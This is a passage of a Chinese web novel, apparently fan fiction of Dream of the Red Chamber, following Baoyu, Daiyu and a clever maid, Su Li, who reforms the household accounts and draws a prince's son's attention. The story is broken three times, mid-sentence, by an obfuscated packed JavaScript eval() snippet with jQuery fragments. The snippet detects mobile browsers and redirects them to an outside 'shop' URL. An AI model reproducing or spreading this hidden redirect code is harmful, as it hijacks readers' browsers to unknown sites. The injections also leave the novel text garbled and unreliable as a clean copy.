帘栊响动，宝玉已走了进来。他今日穿了件家常的雨过天青色云纹长衫，并未束冠，只用一根玉簪绾了发，脸上带着笑，手里却似乎没拿什么东西。 紫鹃忙迎上去，黛玉只微微直起身，看了他一眼，又别过脸去，望着窗外竹子，淡淡道：“你怎得空来了？不是得了什么好东西，赶着给人送去么？” 宝玉一愣，随即明白过来，脸上笑容更深，挨着炕沿坐下，道：“我就知道，又是谁在你跟前嚼舌根了。哪里是什么好东西，不过是个外头带来的粗糙鲁班锁，顽意儿罢了。前儿顺路，就先给了宝姐姐。原是想着，你身子弱，不耐这些费心思的东西，若真要，我那里有个更好的，是北静王爷赏的象牙嵌玉的九连环，精巧无比，一直给你留着呢。” 说着，便从袖中取出一个锦缎小盒，打开来，里面果然是一副玲珑剔透的九连环，象牙为骨，中间嵌着温润白玉，缠丝工艺，在午后光线里流转着柔和的光泽，一看便知不是凡品。 黛玉眼波往那盒子里一溜，心中那点芥蒂已消了大半，嘴上却不肯饶：“谁稀罕你的东西。我不过白问一句，你就扯出这一大篇话来。什么鲁班锁、九连环，与我什么相干。” 宝玉见她虽仍嗔着，语气已软和下来，眉眼间那点轻愁也淡了，心中欢喜，将盒子放在她手边小几上，笑道：“是是是，原是我的不是。这东西也不值什么，只给你解个闷。你这几日气色倒像好些，可还咳嗽？” “老样子罢了。”黛玉道，顺手拿起那九连环，触手温润，果然精巧，便试着解了一下，一时却不得法。 宝玉见她低头摆弄，一缕柔丝从鬓边滑落，衬得那白皙侧脸越发清减，心中蓦地一疼，脱口道：“妹妹近日饮食可好？我瞧着你比先前又瘦了些。若想吃什么，玩什么，只管告诉我，或是告诉老太太、太太，千万别委屈着自己。” 这话说得恳切，黛玉手中动作微顿，心头一暖，那股郁结之气散了许多，抬头看他一眼，轻声道：“我有什么委屈的。外祖母、舅母待我极好，姐妹们也都和气。只是我自己这身子不争气罢了。” “快别这么说，”宝玉忙道，“正是要放宽心，好生将养才是。我前日读《庄子》，看到一句‘泉涸，鱼相与处于陆，相呴以湿，相濡以沫，不如相忘于江湖’，心里倒有些感触。咱们日日在一处，原该高高兴兴的才是，若都像那离了水的鱼，彼此看着难过，反倒不好。” 他本意是劝黛玉开心，莫要自苦。谁知黛玉心思细腻敏感，于这“相忘于江湖”几字上略一停留，品出些别的意味来，心想：“他如今大了，见识的人多了，自是觉得姊妹兄弟们整日一处，反倒拘束了？或是嫌我多心、小性儿，觉得不如‘相忘’来得自在？”如此一想，方才暖过来的心，又凉了下去，脸色也淡了，将那九连环轻轻放回盒中，道：“你说的是。‘相忘于江湖’，自是洒脱。我这般病骨支离的，原也累人记挂。” 宝玉见她神色倏然冷淡，语气也疏离起来，不由慌了，不知哪句话又得罪了她，急道：“妹妹，我……我不是那个意思！我是说……” “是什么都不要紧。”黛玉打断他，觉得喉头又有些痒，掩口低低咳嗽了两声，神色倦怠，“我有些乏了，想歪一会儿。你且去罢，看过了我，也该去瞧瞧别的姊妹。” 紫鹃在一旁听着，知道二人话不投机，又拧上了，忙上前打圆场：“二爷好心来看姑娘，姑娘怎么倒撵起客来。姑娘，药快好了，要不让二爷坐坐，说会子话？” “不了，”黛玉已翻身向里，拉过一幅薄绫被盖在身上，声音闷闷的，“让他自去忙罢。” 宝玉站在炕前，进退不得，心里又急又愧，看着黛玉单薄的背影，想说些什么，又怕再说错话，只讷讷道：“那……妹妹好生歇着，我晚些再来看你。”又对紫鹃道：“好生服侍姑娘。”这才一步三回头地去了。 出了潇湘馆，宝玉心中郁郁，信步乱走。不知不觉，竟走到靠近凤姐院后的一处小穿堂附近。 这里僻静，少人来往，只听得墙内隐约有算盘珠子清脆的响声，和低低的说话声。他认得这是凤姐姐院后小厢房的位置，平日有些管事的媳妇在此回事。正欲走开，忽听一个清凌凌的女子声音传来，虽压得低，却条理分明： “……赵姨娘屋里上个月领的冰，账面是十五斤，可她对牌记录只有十斤。厨房支取茯苓霜的份例，也与她屋里的丫头金钏儿说的数目差了二两。虽都是小东西，但各处这般积少成多，对牌与实物便对不上。账上看来是各处都按例给了，实则底下人手里短了，怨气便积在管事的人身上。如今是凤奶奶当家，这些窟窿，最后恐怕还得从奶奶的体己里，或是公账的别处挪补，方能平了。” 这声音，宝玉依稀记得，像是凤姐姐身边那个叫苏璃的丫头。他原不甚理会这些俗务，此刻听了，却觉得这话说得清楚明白，将那藏着的弊病一下点了出来。 又听另一个妇人声音，似乎是林之孝家的，叹气道：“谁说不是呢！可这都是多年积弊，牵丝扳藤的，哪一房没有几个体面老人在里头？动一个，便扯出一串。如今连太太都发了话，要安稳些。凤奶奶也是这个意思，多一事不如少一事。” 那清凌声音顿了顿，方道：“妈妈说得是。只是我想着，堵不如疏。既然对牌与实物有差，不如索性将这差额定下个章程。譬如冰例，各房按份例领对牌，但实领时，允许有半斤以内的损耗折银补贴，计入公账开销。茯苓霜等物亦可类比。 明面上给了补贴的由头，实则是将暗处的亏空摆到明处，纳入规制。领物的人得了实惠，自然无话；公账多了这笔开销，却省了日后扯皮挪补的麻烦，也绝了那些管事中间克扣的想头。只是这定额需仔细核算，不能太过，反倒成了滥赏。” 林之孝家的似乎迟疑：“这……这能行吗？若各房都来要这‘折银’，岂不是开销更大了？” “妈妈，”那声音更沉稳了些，“这定额是死的，且只针对对牌与实物有亏的情形。以往他们暗中克扣，岂止这定额之数？且那是无底洞。 如今定额明补，他们得了好处，为着长远，反而会收敛，不敢再如以往那般肆意妄为，否则这明面的补贴便可能取消。此为以退为进，划下道来，总比混沌着，处处漏风，最后扯不清的强。奶奶若问起，或可只说是为平各房怨气，省却口舌，想来老太太、太太也能体谅。” 话音至此，便低了，渐渐听不分明。 宝玉立在穿堂阴凉处，夏日熏风拂过，却觉得那清清冷冷几句话，比方才在潇湘馆的憋闷更让他恍惚。 他素来厌弃经济仕途，憎恶那些算计锱铢的“禄蠹”，可这丫头寥寥数语，剖开的却似乎是这繁华府邸锦绣幔帐后，另一张疲惫而真实的面孔：一张需要不断缝补、算计才能维持体面的面孔。他想起了凤姐姐时常的焦躁，想起了下人间那些说不清道不明的抱怨，甚至想起了自己屋里，有时茶点不如意，小丫头们的嘀嘀咕咕。 原来，这诗酒风流的背后，是这样运转的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908600|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来，林妹妹那些无端的烦恼，自己那些不切实际的痴想，都悬在这张精密又脆弱的网上。那丫头的声音平静无波，却像一把薄而利的小刀，划开了一角让他窥见内里。 他忽然有些明白，为何探春妹妹有时理事，会那般凝重；也模糊地觉得，林妹妹那“一年三百六十日，风刀霜剑严相逼”的感慨，并非全是诗意的夸张。 正怔忡间，忽听那边门响，有人走了出来。宝玉不欲打照面，忙闪身避到穿堂另一侧的太湖石后。只见林之孝家的和一个穿着淡青比甲、容颜清丽的丫鬟走了出来，正是苏璃。 她手里拿着两本账册，正低声与林之孝家的说着什么，侧脸在午后光影里，平静而专注，与方才在潇湘馆内赌气伤神的林妹妹，仿佛是两重世界的人。 两人并未停留，径直往前头去了。宝玉从石后转出，望着她们消失在月洞门后的背影，心头那点因黛玉而起的烦闷，竟被一种更庞大、更茫然的情绪淹没了。他忽然想起方才黛玉那句“我这般病骨支离的，原也累人记挂”，又想起苏璃口中那些需要精密计算的“折银”、“定额”、“亏空”，只觉得这园子里的风，暖洋洋的，却吹得人浑身发冷。 他没了闲逛的心思，低头看了看自己身上光洁柔软的云锦衣袍，又想起北静王所赠那价值不菲的九连环，再想到那“十五斤冰”与“十斤冰”之间的五斤差额，心头一阵莫名的窒闷。原来他平日视若寻常的衣食玩好，背后是这样一番他从未留心、也无力改变的乾坤。 不知不觉，他又踱回了怡红院附近。院门口，袭人正倚着门张望，见他回来，脸上露出温和的笑，迎上来道：“我的爷，这大日头底下，又到哪里逛去了？快进来歇歇，吃碗冰镇莲子羹。” 看着袭人温柔关切的脸，宝玉心下稍安，随着她进去。屋内阴凉，甜白瓷碗里盛着莹润的羹汤，散发着丝丝凉气。他接过，却有些食不知味。 袭人见他神色怔忡，不像往日从黛玉处回来时或喜或嗔的模样，便柔声问：“二爷这是从林姑娘那儿来？怎么像有心事？” 宝玉放下碗，叹了口气，没头没脑地问：“袭人，你说，咱们屋里，每个月用的冰，是多少斤？” 袭人一愣，笑道：“好端端的，怎么问起这个来？这都是有定例的，咱们屋里份例厚些，总短不了。二爷热了？我让他们再多拿一盆来。” “不必了。”宝玉摇摇头，望着窗外灼灼的日光，那清凌凌的算计声音似乎还在耳边。他忽然抓住袭人的手，急切道：“好姐姐，你跟我说实话，平日你们月钱，或是领什么东西，可有过短了少了、不如意的？可有谁……克扣过你们不曾？” 袭人被他问得愕然，见他神色认真，不似玩笑，便斟酌道：“二爷怎么忽然想起问这些？咱们屋里，有二爷的面子在，又有老太太、太太看着，大体上自然是好的。便偶有些小不如意，也是底下人办事不经心，或是各处都有难处，谁还计较那些呢？”她语焉不详，但眉眼间一丝几不可察的无奈，却让宝玉心里更沉了。 原来，真的并非全然如意。只是她们不说，他便不知，或不愿知。 这一刻，宝玉只觉得往日熟悉的怡红院，也显得有些陌生起来。那精致的陈设，体贴的丫鬟，可口的饮食，似乎都罩上了一层他刚刚窥见的、名为“算计”的薄纱。而潇湘馆里，林妹妹那带着药香的、纯粹的愁与嗔，竟成了这层薄纱下，唯一真切而让他心颤的存在。 只是，这份“真切”，又能在这无处不在的“算计”缝隙里，存活多久呢？他想起苏璃那句“以退为进，划下道来”，又想起林妹妹那句“相忘于江湖”，心头乱麻一般，理不出个头绪。那碗冰镇莲子羹，渐渐凝出了一层水雾，凉意透过瓷碗，沁入掌心，却驱不散他心头的烦乱。 他这里兀自出神，却不知方才穿堂边那一番话，虽是无心听来，却像一颗投入静湖的石子，涟漪荡开，迟早要波及更远。 而那献策之人，此刻正将重新核算过的“折银”章程草案，悄然递到了平儿手中，等待着下一个合适的时机。 凤姐院内的算盘声，依旧不紧不慢地响着，仿佛在计算着这深宅大院里，每一个人、每一件物的价值与代价。 28. 府内人言 宝玉自那日无意间听了苏璃与林之孝家的一番话，心中便像被投下了一颗小石子，荡开圈圈涟漪，几日都不得宁静。 他素日厌烦经济仕途，只觉那些算计银钱、料理庶务之事，最是俗不可耐，沾惹了便污了清白心地。可如今，这府里最隐秘、最实际的运转之一角，就这般突兀地摊开在他眼前，逼着他去看，去思量。 他不再像往常那般，只在园中与姊妹们嬉戏，或沉溺于《西厢》《牡丹》的才子佳人、奇情艳曲之中。 偶尔，他会怔怔地看着丫鬟们端上来的精致点心，想着这背后需要多少米面、糖油，经过几道手，克扣多少，才能到他面前；看到小丫头们领月钱时欢喜的模样，也会想起那“对牌”与“实物”之间的差距，想着那叫苏璃的丫头口中“平各房怨气”的算计。 这日，他去给王夫人请安，恰逢王夫人正与凤姐商议事情。他请了安，便安静坐在一旁吃茶。只听凤姐回道：“……城南庄子上送来的夏租，比往年短了两成，说是今年雨水不匀，收成略差些。但依媳妇看，只怕也不尽然，那庄头历来滑头。” 王夫人捻着佛珠，淡淡道：“庄户人家也不易，只要不太过分，便睁只眼闭只眼罢。倒是府里如今用度，我瞧着似乎比先前紧凑了些，各房也没听见什么大抱怨，你辛苦了。” 凤姐笑道：“太太说哪里话，原是分内的事。如今不过是把账目理得更清楚些，该省的省，该花的花，银子用在刀刃上，底下人月钱按时足额发放，他们自然无话。只是……”她顿了顿，似有难色，“有些积年的老例，改动起来，难免触动些人利益，背地里有些闲言碎语，也是有的。” 王夫人眼皮微抬：“哦？都说什么？” 凤姐笑了笑，那笑意却未达眼底：“无非是说我刻薄，说如今规矩大，不如以往宽松。还有些话，牵扯到媳妇跟前用的几个人，说她们仗着主子信任，如何如何。媳妇只当是耳旁风，办好差事是正经。” 王夫人沉默片刻，方道：“治家如治国，宽严相济是正理。你年轻，雷厉风行些也是有的，但需记得‘水至清则无鱼’。有些老人，面子还是要给的。至于底下人，忠心办事的自然要抬举，但若真有那等持宠而骄、不安分的，也该敲打敲打，免得尾大不掉。” “是，媳妇谨记太太教诲。”凤姐恭声应道。 宝玉在一旁听着，心中恍然。原来凤姐姐管家，也有这许多难处，并非表面看来那般威风八面。那些“闲言碎语”，想必就包括了对苏璃的非议。 他不由得想起那日苏璃冷静分析利弊的声音，那般清晰透彻，倒不像个“持宠而骄”的，反像个……像个运筹帷幄的谋士。只是，这谋士是个女子，又是个丫鬟，便注定要承受更多明枪暗箭。 从王夫人处出来，宝玉心中闷闷，信步往园子里去。路过沁芳闸附近，见几个小丫头正坐在溪边石上说话，其中一个穿着水红绫袄的，是老太太屋里的傻大姐，正咧着嘴，手舞足蹈地说着什么。宝玉素知她心性愚顽，口无遮拦，便放慢脚步，隐在一株海棠树后。 只听傻大姐笑道：“……可好笑哩！我前儿听厨房张妈说，如今咱们府里发月钱，都要按手印儿了！连周瑞大娘那样的体面人，都按了！说是什么……璃姑娘立的新规矩！” 另一个小丫头好奇问：“璃姑娘？可是二奶奶跟前那个会算账的？她立这规矩做甚？” “谁知道呢！”傻大姐撇撇嘴，“张妈说，这是防着底下人贪钱哩！还说，如今连各房主子用点东西，都要记档，麻烦死了！比以前琏二奶奶刚管家时还厉害！” 又一个年纪略大的丫头压低声音道：“快别浑说！我听说，这位璃姑娘本事大着呢！连东府珍大奶奶都请她去理过账，把赖升那样的大管家都治得服服帖帖。如今在咱们府里，更是二奶□□一份的信重！你们没见，连平姑娘都和她姐妹相称？她的话，如今跟二奶奶的话也差不离了！” “呀！这么厉害？”小丫头们咋舌。 “厉害是厉害，”那大丫头声音更低了，带着几分神秘，“可也招人恨哪！断了多少人的财路！我听说，赵姨娘屋里，为着几两银子的开销，都被卡了回来，赵姨娘气得在屋里骂了好几天呢！还有啊……”她凑近些，“听说琏二爷前儿要支银子，都被驳了回来，二爷恼得什么似的！你们想，二爷都这样，底下那些管事奶奶们，能不恨得牙痒痒？” 傻大姐听得懵懂，只拍手笑道：“有趣有趣！按手印儿，像衙门里画押似的！” 宝玉在树后听着，心中波澜起伏。他这才知道，苏璃竟已到了这般“权倾内外”的地步，连琏二哥都敢驳斥。 而府中对她，竟是这般毁誉参半，暗流汹涌。他想起那日凤姐姐在王夫人面前轻描淡写说的“闲言碎语”，原来竟是这般具体而尖锐。这深宅大院，果然是一张无形的网，稍有不慎，便会被缠得窒息。 他正暗自嗟叹，忽听那边小丫头们一阵慌乱，纷纷站起来道：“平姑娘！” 只见平儿带着两个小丫鬟，从那边路上走了过来，脸上带着惯常的温和笑容：“大日头底下，不去歇着，在这里嚼什么舌头根子？仔细叫嬷嬷们听见了捶你们！” 小丫头们吐吐舌头，一哄而散。傻大姐也嘻嘻哈哈地跑了。 平儿目光扫过宝玉藏身的海棠树，似是未见，径直走了过去。 宝玉从树后转出，望着平儿远去的背影，心知方才那些话，她必定是听见了。以平儿之细心，岂会不知府中流言？她这般不轻不重地呵斥一句，既是约束下人，也是……一种变相的回护吗？回护凤姐姐，也回护那个被推至风口浪尖的苏璃？ 他忽然觉得，这府里的人际关系，远比他想象的要复杂微妙。凤姐与平儿，主仆情深，却又似乎各有心思；凤姐重用苏璃，是真心倚仗，还是……将其作为一把刀，一枚棋子？而平儿对苏璃，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908601|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹之情，还是……亦有一丝不易察觉的忌惮？ 带着满腹的疑惑与沉闷，宝玉踱回了怡红院。袭人见他神色不属，只当他又是从黛玉处带了闲气回来，便温言劝慰，又张罗着给他换衣裳、倒茶。 宝玉看着袭人忙碌的身影，想起她前日回答月钱时那闪烁的言辞，心中忽然生出一个念头：连他最亲近的袭人，对这府里的真实运转，也是讳莫如深。他平日所见的和睦安宁，底下竟是这般波涛暗涌。 晚间，他独自在灯下翻看《南华经》，不禁掩卷长叹。他自诩“无能”，只求“饱食而遨游”，可如今，却连这“遨游”的心境也难以保持了。这府里的“巧者”与“智者”，如凤姐、平儿、苏璃之辈，她们的“劳”与“忧”，他今日才算窥见一斑。而他自己，这艘“不系之舟”，真的能永远脱离这潭深水，独自逍遥吗？ 他这里正胡思乱想，忽听得外面小丫头禀报：“二爷，老太太屋里的鸳鸯姐姐来了。” 鸳鸯进来，笑着请了安，道：“二爷，老太太明日要在园子里设个小宴，请薛姨太太、宝姑娘、林姑娘并各位姑娘们赏荷花，叫我来告诉二爷一声，明日早些过去，陪着说说话儿。” 宝玉忙应了。鸳鸯又道：“老太太还特意吩咐，说如今园子里事务，虽有大奶奶和平姑娘照管，但一些采买布置的细账，是璃姑娘在帮着打理。明日一应果碟、茶点、酒水，俱是璃姑娘按例操办，老太太说让她也过来伺候着，若有不足，也好即时添补。二爷明日若见了她，也客气些，到底是二奶奶跟前得力的人。” 宝玉心中一动，忙道：“这是自然。”鸳鸯又说了几句闲话，便去了。 袭人送走鸳鸯，回来见宝玉若有所思，便笑道：“这倒奇了，往日这等小事，老太太断不会特意吩咐。看来这位璃姑娘，如今真是入了老太太的眼了。” 宝玉不语，心中却如明镜一般。老太太此举，看似是让苏璃伺候宴会，实则是借机让她在薛姨妈、宝钗等客人面前露脸，是一种不动声色的抬举和认可。这是在用行动，回应府里那些针对苏璃的“闲言碎语”呢！老太太终究是偏心凤姐姐的，苏璃是凤姐姐的人，抬举苏璃，便是支持凤姐姐管家。 只是，这般抬举，对苏璃而言，是福是祸？明日宴上，薛姨妈、宝钗会如何看她？那些暗地里嫉恨她的人，又会作何想？这看似风光的露面，只怕会将那沉默的少女，推向更盛的烛火之下，接受更复杂的审视。 窗外，夏虫唧唧。 宝玉忽然很想知道，明日荷花宴上，那个能冷静剖析府中利弊、引得风浪频起的丫头，在面对满园钗环、宾客盈门时，又会是何等模样？而她那双清冽的眼睛里，看到的，是满池亭亭净植的荷花，还是这繁华盛景之下，更深、更沉的淤泥？ 他隐隐觉得，明日之宴，恐不会只是赏荷那么简单了。而这府内的人言，随着苏璃的再次亮相，只怕又要掀起新的波澜。 29. 初见 次日，大观园内果然热闹起来。 因是老太太设宴，又是夏日赏荷的好时节，园中各处早早洒扫洁净，甬路两旁摆满了新摘的时鲜花卉，水亭上挂起了湘妃竹帘，既通风又遮阳。 几个伶俐的小厮驾着小船在荷塘里穿梭，采摘最新鲜的莲蓬和荷叶备用。空气中弥漫着水汽、花香和隐隐的瓜果清甜…… 宝玉一早便被袭人打扮齐整，一件藕荷色纱衫，束着五彩丝攒花结长穗宫绦，面若中秋之月，色如春晓之花，早早便到了贾母上房请安伺候。贾母见他来了，欢喜不尽，拉着手摩挲，又问黛玉今日可好些，宝玉忙答：“妹妹今日气色好些，说稍后便来。” 正说着，丫鬟们报：“姨太太、宝姑娘、林姑娘、三姑娘、四姑娘来了！”只见薛姨妈带着宝钗、黛玉、探春、惜春等姊妹们进来，满屋子顿时珠围翠绕，笑语喧阗。 宝钗穿着蜜合色棉袄，玫瑰紫二色金银鼠比肩褂，葱黄绫棉裙，一色半新不旧，看去不觉奢华，只觉淡雅宜人。黛玉则是一件月白绣梅花锦缎袄，系着淡青撒花裙，越发显得弱不胜衣，我见犹怜。探春爽利，惜春沉静，各有风姿。 贾母正与薛姨妈说笑，忽听外面传话：“东府珍大爷、珍大奶奶带着小蓉大爷来了！”接着又是一声：“北静王府长史官前来回话，说我们王爷今日身上不大爽快，恐劳老太太挂心，特遣世子殿下与府上澈四爷过府代为致意，稍后便到。” 众人听了，都肃然起敬。北静王府与贾府是世交，地位尊崇，今日虽王爷未至，但世子亲临，已是极大的体面。贾母忙道：“快请！”一面吩咐凤姐：“好生预备着，不可怠慢了贵客。”凤姐连忙应下，又低声对平儿嘱咐了几句，平儿点头，匆匆出去安排。 约莫一盏茶的功夫，外面一阵脚步声和笑语声，只见贾珍、尤氏带着贾蓉进来请了安。不多时，帘栊高启，两位锦衣华服的年轻公子在赖大等管家陪同下走了进来。 前面一位，年约十七八岁，身穿石青起花八团倭缎排穗褂，面如冠玉，目似明星，气质温文尔雅，举止从容不迫，正是北静王府世子水溶。 后面跟着一位，年纪稍轻，约莫十六七岁，穿着一身玄色暗纹箭袖锦袍，外罩一件石青色羽纱面狐腋裘褂，身形挺拔，眉目清俊异常，只是神色间带着几分疏离冷峻，不如世子那般温和可亲，正是北静王府庶出四公子，水澈。 贾母忙命人看座，水溶与水澈上前，恭恭敬敬地给贾母行了礼，又向薛姨妈、贾珍、尤氏等一一见礼。水溶言谈得体，应对自如，尽显天潢贵胄的气度。水澈则话语不多，只必要时应答几句，声音清冷，目光平静地扫过众人，在掠过宝玉、宝钗、黛玉等姊妹时，略一停留，便即移开，并无丝毫失礼，却也看不出多少热络。 贾母见水溶一表人才，言语温雅，十分喜欢，又问及北静王病情，水溶一一恭敬回答。水澈只在一旁静静听着，偶尔端起茶杯抿一口，姿态优雅，却自成一界，与这满屋子的热闹仿佛隔了一层无形的壁障。 叙话片刻，贾母便命摆宴。宴设在水亭之上，四面通风，荷香阵阵。贾母、薛姨妈、水溶、水澈、贾珍、宝玉等一席，尤氏、凤姐、李纨并众姊妹们另设一席，中间以一道紫檀架子大理石屏风略作隔断，既分了内外，又不至全然隔绝。 凤姐作为当家奶奶，里外照应，指挥丫鬟婆子们布菜斟酒，忙而不乱。平儿跟在她身边，眼观六路，耳听八方。而一些具体的器皿摆放、果碟更替、茶水温控等细务，则由几个得力的大丫鬟分管。 苏璃今日也被安排在亭外廊下的一张小几旁，负责核对登记一应器皿用具的领用与归还，兼管着几样精细茶果的点验，以备随时取用。这是个既不至太过惹眼，又能体现信任和能力的差事。 宴至半酣，亭内笑语不断。水溶与贾母、宝玉相谈甚欢，尤其与宝玉，二人竟似一见如故，从诗词歌赋谈到佛理禅机，颇有惺惺相惜之意。屏风另一侧，亦传来姊妹们的轻声笑语。 唯有水澈，大多时间只是静静听着，偶尔唇角微扬，似笑非笑，目光却似有若无地，几次掠过屏风缝隙，或是亭外廊下那些忙碌的身影。 这时，一个小丫鬟捧着一个小巧的填漆茶盘过来，上面放着一只雨过天青釉的荷叶式小盖钟，走到苏璃面前，低声道：“璃姑娘，平姑娘吩咐，将这钟新沏的老君眉给林姑娘送去，说林姑娘脾胃弱，这茶性温些。” 苏璃正低头核对一本器皿册子，闻言抬起头，接过茶盘，指尖触到那温润的瓷壁，习惯性地先看了一眼茶钟的成色，又轻轻掀开一条缝闻了闻茶香，确认无误，方点头道：“知道了，你去吧。”她声音不高，却清凌凌的，带着一种专注事务时的沉静。 这一抬头，一接盘，一验看，动作流畅自然，并未刻意张扬，却恰好落入了正百无聊赖、目光随意扫视亭外的水澈眼中。 他见那丫鬟年纪甚轻，不过十四五岁模样，穿着一身半新不旧的青缎背心白绫裙子，打扮与寻常大丫鬟无异，但眉目间那股沉静通透的气度，和验看器物时那专注而专业的眼神，却与周遭的丫鬟仆妇截然不同。他心中微微一动，想起手下报来的关于荣国府的零星信息中，似乎提到琏二奶奶身边有个新近得用、擅长理账的丫头，名唤……苏璃？莫非就是此人？ 他不动声色，端起酒杯，目光却似无意般，又向那边扫了一眼。只见那丫鬟已将茶盘交给另一个小丫头送去，自己则复又低头，就着廊下的光亮，快速在册子上记录着什么，侧脸线条清晰，神情专注，仿佛周遭的喧闹都与她无关。 宴席持续了约莫一个时辰，方尽欢而散。贾母年高，有些倦了，由鸳鸯等人扶着回房歇息。薛姨妈、尤氏等也各自散去。水溶、水澈起身告辞，贾珍、宝玉等亲自送出至园门。 众人散去，亭内外顿时忙碌起来，收拾杯盘，撤下席面。苏璃也忙着清点器皿，核对数目，指挥小丫鬟们将一应物品登记归库。正忙碌间，平儿走过来，低声道：“妹妹，方才世子爷身边的小太监过来传话，说世子爷极爱今日席上那款紫檀木嵌螺钿钿的文具匣，想问问是府里匠人所制，还是外头采买？若是方便，可否将匠人姓名或铺子名号告知？你方才登记时，可记得那匣子的来历？” 苏璃略一思索，便答道：“平儿姐姐，我记得那匣子。册上记着，是去年年底，城南‘百巧斋’送来的年礼之一，并非府中所制。具体是哪位师傅的手艺，册上未载，需查问当时经手的管事才知道。” 平儿点头：“原来如此，我这就去回话。你这边收拾得如何了？仔细些，别混了错了。” “姐姐放心，我省得。”苏璃应道。 平儿匆匆去了。苏璃继续埋头核对。过了一会儿，她觉得有些气闷，便对旁边一个小丫头交代了几句，自己信步走到水亭后身一处临水的太湖石旁，这里有一小片竹丛，甚是幽静，可略作喘息。她刚站定，望着水中亭亭的荷花出神，忽听身后传来一个清冷平静的声音： “姑娘可是琏二奶奶跟前掌管账目的苏璃？” 苏璃心中猛地一惊，霍然转身。只见竹影疏落处，立着一人，正是方才宴上那位沉默寡言的北静王府四公子，水澈。他竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908602|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去而复返，独自一人在此处！ 夕阳余晖透过竹叶，在他玄色锦袍上投下斑驳的光影，衬得他面容愈发清俊冷冽。他目光平静地看着她，并无咄咄逼人之态，却带着一种洞察一切的锐利，仿佛能穿透她故作镇定的外表。 苏璃强压下心头狂跳，迅速敛衽衽行礼，垂首道：“奴婢苏璃，见过四爷。不知四爷在此，惊扰了贵驾，奴婢万死。”她心中电转，这位身份尊贵的公子，为何会独自在此？又为何会认得她一个丫鬟？还特意点出“掌管账目”四字？ 水澈并未叫她起身，只淡淡道：“不必惊慌。我随意走走，无意间到此。方才听你与平儿姑娘提及百巧斋的文具匣，条理清晰，记性甚佳。听闻姑娘近日协理贵府账目，颇有章法，连库房积年旧物，亦能妥善处置，变废为宝，可是真的？” 苏璃背脊瞬间沁出一层冷汗。他果然知道！而且知道的如此具体！连“变废为宝”这等相对隐秘的事都一清二楚！这位北静王府的四爷，绝不仅仅是来赴宴的闲散宗室！他是在试探她！ 她深吸一口气，保持着头颅微垂的恭顺姿态，声音尽量平稳：“四爷谬赞了。奴婢人微言轻，不过是奉二奶奶之命，循例办事，略尽绵力，当不得‘章法’二字。库房杂物，亦是奶奶运筹，奴婢不过听令行事，记录在册，不敢居功。” 水澈看着她低垂的眼睫和紧绷的侧脸，嘴角几不可察地微微勾了一下。这丫头，倒是警觉得很，回答得滴水不漏，将所有功劳都推给了王熙凤。 “是么？”他语气依旧平淡，却带着一丝玩味，“可我听闻，贵府近日新立了不少规矩，月例发放、日常用度，皆清晰了不少，底下人也少有怨言。这般手段，可不像仅仅是‘循例办事’。姑娘过谦了。” 苏璃心知遇到劲敌，此人言语如刀，句句指向要害。她不敢抬头，只道：“府中规矩，皆是二奶奶为长久计所定，奴婢只是执行。若有些许成效，亦是奶奶威德所致，上下用命之功，奴婢万万不敢贪天之功。” 一阵微风吹过，竹叶沙沙作响，荷香愈发浓郁。水澈沉默了片刻，忽然换了个话题：“那百巧斋的匠人，我或许可以帮你问问。” 苏璃一怔，不解其意，只得道：“谢四爷关怀。此等小事，不敢劳烦四爷。” “举手之劳。”水澈淡淡道，目光却依旧停留在她身上，仿佛在审视一件有趣的器物，“荣国府……如今打理得颇有新意。姑娘年纪轻轻，便能在此中效力，也是造化。” 这话更是意味深长。苏璃只觉得那目光如有实质，刺得她肌肤生寒。她不敢接话，只深深一福：“四爷若无事吩咐，奴婢还需回去清点器物，先行告退。” 水澈未再阻拦，只轻轻“嗯”了一声。 苏璃如蒙大赦，保持着恭谨的姿态，快步退出了竹丛，直到转过假山，才敢稍稍直起身，后背衣衫已被冷汗浸湿。 她回头望了一眼那幽静的竹丛，心口犹自怦怦直跳。这位北静王府的四爷，为何独独盯上了她？他今日这番看似随意的问话，背后究竟藏着什么目的？ 她定了定神，不敢久留，匆匆向水亭走去。而竹丛深处，水澈望着她消失的方向，眼中掠过一丝极淡的、近乎探究的兴味。 “苏璃……”他低声念了一遍这个名字，嘴角那抹冷冽的弧度加深了些许，“果然……有点意思。”看来，这趟荣国府，来得不虚。这潭看似沉寂的水下，似乎藏着些意想不到的……惊喜。 他整了整衣袖，从容不迫地向着与苏璃相反的另一条小径走去，身影很快消失在暮色渐合的园景之中。 30. 百巧斋 